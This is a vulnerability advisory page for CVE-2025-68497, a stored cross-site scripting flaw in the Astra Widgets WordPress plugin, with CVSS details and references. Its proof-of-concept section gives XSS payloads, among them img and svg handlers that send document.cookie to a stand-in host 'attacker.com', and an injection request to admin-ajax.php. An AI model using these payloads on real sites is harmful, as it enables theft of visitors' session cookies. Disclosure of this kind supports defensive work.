CVE-2025-68497

Description

Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in Brainstorm Force Astra Widgets astra-widgets allows Stored XSS.This issue affects Astra Widgets: from n/a through <= 1.2.16.

CVSS Details

CVSS Score

5.9

Severity

MEDIUM

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:C/C:L/I:L/A:L

Configurations (Affected Products)

No configuration data available.

Astra Widgets <= 1.2.16

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

<!-- CVE-2025-68497 PoC - Astra Widgets Stored XSS -->
<!-- 攻击者（管理员/编辑）可通过以下步骤利用此漏洞： -->

<!-- Step 1: 在Widget标题或内容中注入恶意脚本 -->
<script>alert(document.cookie)</script>

<!-- 或使用事件处理器 -->
<img src=x onerror=fetch('https://attacker.com/steal?c='+document.cookie)>

<!-- 或使用SVG标签 -->
<svg onload=fetch('https://attacker.com/steal?data='+btoa(document.cookie))>

<!-- Step 2: 恶意代码将永久存储在数据库中 -->
<!-- Step 3: 任何访问者访问包含该Widget的页面都会触发XSS -->

<!-- 自动化测试Payload (Burp Suite Intruder格式) -->
POST /wp-admin/admin-ajax.php HTTP/1.1
Host: target.com
Content-Type: application/x-www-form-urlencoded

action=save_widget&widget_id=astra-custom-html-1&widget_content=<script>alert('XSS')</script>&nonce=XXX

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2025-68497
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2025-68497
[3] CVE Details https://www.cvedetails.com/cve/CVE-2025-68497/
[4] VulDB https://vuldb.com/cve/CVE-2025-68497
[5] https://patchstack.com/database/Wordpress/Plugin/astra-widgets/vulnerability/wordpress-astra-widgets-plugin-1-2-16-cross-site-scripting-xss-vulnerability?_s_id=cve

Raw JSON Data

JSON

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